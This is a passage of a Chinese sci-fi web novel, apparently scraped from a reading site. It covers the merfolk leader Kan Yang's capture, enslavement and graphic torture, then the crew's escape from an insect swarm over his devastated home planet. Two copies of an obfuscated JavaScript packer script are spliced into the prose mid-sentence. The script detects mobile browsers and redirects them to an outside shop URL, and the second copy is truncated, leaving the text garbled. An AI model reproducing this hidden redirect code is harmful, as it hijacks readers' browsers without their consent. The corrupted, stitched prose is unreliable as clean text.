起初人鱼们以为那是飞鸟,或者别的什么动物。但它绕着戈蓝星飞了一圈,速度始终平稳如一,实在不是属于任何生物的特征。 阚洋后来才知道,那是里斯星的道勒财团放出的探测仪。 就是在这个探测仪的检测下,财团发现,戈蓝星的海底,有着能作为极佳防御材料涂层的珍贵资源——“红祜”。 为了数不尽的利益,道勒财团占地为王,肆意破坏星球上的生态,最大化地开采红祜。 人鱼无罪,怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242908|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璧其罪。 在开采红祜的同时,财团也发现了人鱼的价值,不加掩饰地对这个族群进行捕捞和杀害。 阚洋无法忍受,率领族人进行了倾尽全力的反击。 他手握冰骨长枪,在前来占领戈蓝星的财团面前抵抗了许久,带着他的队伍击毁了财团无数的战斗器械。 财团主将他视为眼中钉,对他放出极具侮辱性的狠话。 他不为所动,长枪贯穿又一个向他们扑来的战斗机器人。 但是,戈蓝星的科技和对方相比,差距实在是太大了。 一方是没有任何热武器的四级文明星球土著,一方却是能够进行星际航行的侵略者。 在一击就贯穿大半族人胸膛的粒子炮中,戈蓝星那片碧蓝的海,染成了晚霞般的红。 阚洋杀红了眼,抱着必死的心想要与财团主同归于尽,却挡不住一枚麻醉弹的威力,昏倒在敌人面前。 他们竟没有杀他! 他们竟没有杀他!! 他宁可他们杀了他!! 也好过成为俘虏,化作奴隶,承人膝下,受尽屈辱!! 财团主道勒让他活下来,把他作为自己的奴隶关押于特制的水族箱中肆意玩弄,只为更好地羞辱他。 他的身体固执死板,拒不配合,便改造他的身体,调高他的敏感度,道勒便能轻易地欣赏他面对疼痛的反应。 一年的折磨,让正直刚毅的人鱼领主也学会了假意乖顺,趁折磨他已久的道勒放松警惕,终于找到机会出手,杀了对方! 他想要逃走,却因算漏了警报的存在而再度被抓起关押。 甚至因为这一次的弑主,尾骨被金属链刺穿钉起,如同牲畜拴上了缰绳。 因财团主已死,他又太危险,没有人敢接手。有人一拍脑袋道:“可以送去拍卖会。” 他的第二任主人是一个年纪与栗胤相仿的年轻贵族少年。 阚洋那时还抱有着对异族人类的希望,看到少年年轻的脸,也曾想过好言相求,让对方放自己回母星。 却不想,少年的行事,比财团主更乖戾可怖。 人前温文尔雅、懂事听话,在仅剩人鱼和他二人时,却在人鱼的身体上肆意发泄心中的黑暗。 他对他注射超过安全剂量的肌肉松弛剂,锋利的刀片划开他无法动弹的身体,在他痛苦的嘶喊中露出满意的微笑。 水缸中的水因他没有愈合的伤口,常常是红色的。 阚洋最终还是对他动了杀心。 即便他知道,在穿透尾骨的金属链束缚下,他无处可逃。 他的身体因被改造的缘故,对药剂的抗性会更强。 一年多肌肉松弛剂的注射,他终于能够抵抗那种剂量下浑身发软的感觉。 在少年又一次要用刀片切割他的血肉发泄时,他一跃而起,用那刀片反手割断了对方的脖子。 他再度被送回了拍卖行。 这一次,拍卖行的高层针对他进行了一场长时间的讨论。 于法律层面,他应当要被处以死刑,但拍卖人鱼的利润,让拍卖行决定隐瞒他的危险,再一次铤而走险。 之后,就是被栗胤买下的事了。 他还记得死在他手下的少年买主在断气前,瞪着血红的双眼,不敢置信地看着他:“都这样了,你竟还想着逃!你这样的身体,还能做什么?” 阚洋不屑与他费口舌。 他心里知道答案。 他也曾想过,为何在那样的绝望中,他却仍然活了下来。 一族之领主,本应是众人赖以仰仗的存在,是一族的象征,却被囚禁在一个一眼便能看透全貌,毫无遮掩的水族箱内,供人玩乐发泄,连身体都无法自主。 但他既然活下来了,便要活到最后,活到回到家园,为族人报仇雪恨的那一天! 22. 第二十二章 戈蓝 小黑发出柔和的提示音,结束了飞船的智能驾驶。籍允看着驾驶舱的仪表盘,通过船内通讯对众人道:“快到了。” 栗胤他们都来到驾驶舱,望向飞船前方的行星。 按照星际坐标来看,那颗星球就是戈蓝星了。 和阚洋回忆里的蓝色星球不同,在他们面前的那颗行星,通体缠绕着密密麻麻怪异的黑色。 栗胤一时以为他们找错了星球,可四周的参照物又确确实实和阚洋口中描述的一致。 阚洋的脸色变了。 他能确信面前那颗确实是他的母星,但她又和自己记忆中母星的模样相去甚远。 在这颗星球上,到底发生了什么? “再靠近些。”栗胤说。 籍允推动操纵杆,黑色的星球在他们眼中逐渐放大。 是错觉吗,栗胤怎么觉得这颗星球上的黑色……在动? 不,不是错觉。 那稠密的黑色向他们靠近了! 籍允当机立断,猛拉控制杆,飞船急转,堪堪与急速撞来的黑云擦身而过。 这个转向超过了惯性阻尼器的阈值,栗胤急忙扶住墙壁的扶手才没有摔到地上。 透过舷窗,她赫然看到,那黑雾竟是密集的、比正常昆虫个体大了上千倍的虫群! 能离开星球,在宇宙真空中飞行的虫群……是虫族? 虫族占领了戈蓝星? 澳绔星系怎么可能会有虫族?! 虫族应该只存在于禺泯星系,在历任奥卡贝纳王族日复一日派军的镇守下,无法将领地扩张到其他星系才是。 栗胤心中悚然。 禺泯星系里出事了? 奥卡贝纳家族还好吗? 瞿曜·奥卡贝纳,在前线对抗虫族的瞿曜皇子……又怎么样了? 如果澳绔星系有星球被虫族占领,以虫族可怕的繁殖水平,是不是意味着更多的星球已经化作虫族的温床? 籍允虽操纵飞船极力与虫族拉开距离,却始终甩不开虫群,已经有虫族追上舰艇,坚硬的口器与比玄铁还锋利的前足猛烈撞击在甲板上,发出让心头震颤的砰磅声。 栗胤果断在另一张驾驶席上坐下,声音急促却冷静:“所有人系好安全带,我来掌舵,籍允,你负责张开屏障和镜面伪装。” 这艘飞船上隐形涂层的“隐形”二字,是针对无线监控设备的“隐形”,监控面板上扫描不到飞船的存在,在肉眼里,还是能够清晰地看到飞船的模样。 栗胤让籍允开启的镜面伪装是纳特将军特别关照赠与的军方涂层,在和里斯军队的作战中使用过,能够让飞船与周遭的环境融为一体,真正在宇宙中隐去身形。 但要开启镜面伪装,首先需要摆脱虫族的追踪。 白纶体验过栗胤的驾驶技术,意识到之后要发生什么,忙不迭放下座椅上的肩压杆。 几乎是在他和阚洋刚将安全带扣上的下一秒,他们就感到自己被重重地压入椅背之中! 眼前的世界急速旋转起来,白纶一瞬间分不清哪里是上、哪里是下,他们又是在朝什么方向飞行,身体还没做好适应这个方向的准备,又被惯性拉扯到截然不同的角度。 飞船弦窗外的景象更是让他惊心眩目,他看到他们根本是在朝一颗星球直直撞去,却又贴着星球表面飞速驶过,转瞬将那颗星球抛至脑后。 惊险程度更胜过在流星群中穿行那次。 流星群可不会紧咬着飞船不放。 “怕的话,闭上眼睛。”他听见栗胤抽空对他们说了一句。 “我不怕,我——”白纶脸色煞白,却仍想要逞强开口。但他发现在这般急速的转向中,他甚至连一句完整的话都无法说完。 栗胤似乎笑了一下:“别说话,小心咬到舌头。” 视线因过于频繁的转向渐渐发黑,白纶心里只有一个念头:这艘飞船,竟然可以达到这个速度吗?? 逃离虫族的每一秒在白纶的感受中都无比漫长,他以为过去了好久,事实上,不过十分钟而已。 再久一些,飞船的引擎和外壳也会承受不住。 十分钟后,周遭再无一只虫族的身影。 栗胤吐了口气,肩膀放松下来。 慢了,她想。 飞船性能是一方面,一年多没有驾驶练习,技术也确实变得有些生疏。 有机会要多摸摸操作杆才是。 摆脱虫族的追击后,栗胤缓缓放慢了飞船的速度。 还没等飞船恢复平稳,白纶就从座位上跳下,手脚发软地坚持走到厕所,“哇”地一口吐了出来。 阚洋的脸色也苍白如纸,极力忍着才没让自己像白纶一样往厕所跑。 他们乘坐飞船的机会本就不多,没有昏过去已经是体质超出常人的表现了。 倒是籍允虽然面上也没什么血色,却还能专注地操纵面前的设备,此刻已经设置好程序,打开了飞船的镜面伪装。 硕大的飞船像是被一张透明的斗篷笼罩,转瞬在宇宙中失去了行迹,再也不能用眼睛观测到它的存在。 无论是人类的眼睛,还是虫族的眼睛。 只可惜镜面伪装系统太耗能源,以飞船的能源储备水平,没有办法开启太久。 白纶吐完回来,看到栗胤还在驾驶飞船。 他看了看外头的景色,错愕道:“你在往回开?” 栗胤点了点头。 “看那边。”她指向窗外,虫群跟丢了飞船后,没有在宇宙中四散开来寻找猎物,反而又飞回了戈蓝星。 “它们急着飞回星球,意味着星球上肯定有它们的母虫。”栗胤说,“只有解决掉母虫,才能阻止虫族的繁衍。” “你疯了吗?”白纶说。 籍允也露出不赞同的神色:“虫群数量太多了,以我们飞船的配置,无法与它们抗衡。” “我知道,我当然不会硬来。”栗胤说,“我就凑近点看看情况,有机会就上,没机会就跑。我的驾驶技术你们还信不过嘛?” 已经充分体验到栗胤驾驶技术的白纶:“……” “况且,”她望向阚洋,对他轻轻笑了笑,“还要找到你的族人呢。” 看到漆黑的母星时,在阚洋心里,这颗星球上已经不会再有人鱼族的身影。巨大的绝望摄住阚洋,人鱼首领坚毅的脸上空洞又茫然,不知道自己坚持到现在到底是为了什么。 栗胤却对他说,还要去找他的族人。 阚洋的眼中重新亮起细碎的光茫,他强迫自己打起精神,视线扫过母星的每一寸土地。 栗胤轻推操纵杆,张开了镜面伪装的隐形飞船穿透大气层,小心翼翼地沿着戈蓝星表面缓缓驶过。 越是细看,越是触目惊心。 尽管空气还维持在能供人类自由呼吸的程度,这颗星球已经彻底沦为虫族的巢穴,所有生物都化为虫族的养料。 原本几乎覆盖了整颗行星的蔚蓝澄澈的海水,如今早已腐烂发臭,大片大片的滩涂干涸龟裂,再也找不出一丝适合人鱼生存的影子。 就算他的族人们还在这颗星球上,也已经活不下来了。 思及至此,阚洋干涩开口:“……别看了,走吧。” 视野中的每一寸土地,都是对他心脏的凌迟。 若是看到族人的遗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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栗胤视线一瞥,小心绕过两只虫族往左偏去。 在她眼中,面前只有海水消退后满是黑泥的海沟,和一路飞来的景色并无区别。 “那里有一座山。”白纶指着前方高耸的峭崖道,“往那里靠近。” 严格来说,那并不能叫做山,因为它曾经完全被海水覆盖,如今海水消散,在巨岩表面只有发黑的藻类与干涸的珊瑚,用海脊来称呼它更为恰当。 栗胤在操作飞船的同时,不合时宜地分神想起,白纶还从没有见过真正的山和海。 她会带他去看的。 带他看在海面升起的第一缕阳光,带他在山顶沐浴明月,俯瞰斑斓灯火。 直到跟着白纶的指示一直凑近海脊的底部,栗胤才发现,这个海脊居然是中空的构造,在底部有一个上升的入口,像是一个垂直的山洞。 山洞内部狭小,她必须要侧过船身才能保证飞船不会刮蹭到四周的岩壁而卡住,他们几乎是以垂直于地面的姿势缓缓向上升起。 这种飞船的操作技巧,只有栗胤能够做到。 飞船从入口进入山洞后,外头无处不在的腥气骤然变淡了不少。 望着岩壁潮湿的水汽,想到一个可能,阚洋的心脏猛烈跳动起来。 随着他们升到山洞的顶部,在飞船探照灯的照射下,一道平静的湖面出现在他们面前。 这是戈蓝星中,最后一处清澈水源。